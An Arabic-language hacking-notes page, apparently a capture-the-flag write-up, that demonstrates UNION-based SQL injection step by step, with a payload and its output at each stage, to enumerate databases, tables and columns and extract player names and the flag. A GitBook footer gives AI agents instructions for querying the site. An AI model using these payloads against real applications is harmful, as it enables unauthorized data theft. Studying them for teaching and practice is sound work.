> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# حقن SQLi Union

نعترض الطلب باستخدام Burp Suite ونعدّل المتغير `اللاعب`:

<figure><img src="/files/fe98a095ada3e0ea2740bd85d256d2a155a73aba" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

اسم قاعدة البيانات هو `november`.

<figure><img src="/files/5556734b95b683a681badee59730f1d00ce1c940" alt=""><figcaption></figcaption></figure>

لسرد جميع قواعد البيانات:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

النتيجة: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/7b11debf31845fc6b7505c4f8ade88d81055a368" alt=""><figcaption></figcaption></figure>

سرد جدول الـ `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/00da0e4b16ba0e95f32587e8d64c0854069383ec" alt=""><figcaption></figcaption></figure>

سرد أعمدة الجدول `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

الأعمدة الموجودة: `اللاعب`

<figure><img src="/files/c4ddaa3899b180b9683f0d96d70d16ae6c74dcb0" alt=""><figcaption></figcaption></figure>

**استخراج بيانات المستخدم**

```sql
jordan' union select group_concat(player,':') from players-- -

```

اللاعبون الموجودون: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/dd8893a63a42053ff0104df94042d7a795f0fd8c" alt=""><figcaption></figcaption></figure>

استخراج الراية:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/397a3cc3fea2cdc9df547a434a6930919104cf85" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/b822c775092a08d5b5b21bca3b84d9d1789812df" alt=""><figcaption></figcaption></figure>

* العلم الموجود: `UHC{F1rst_5tep_2_Qualify}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
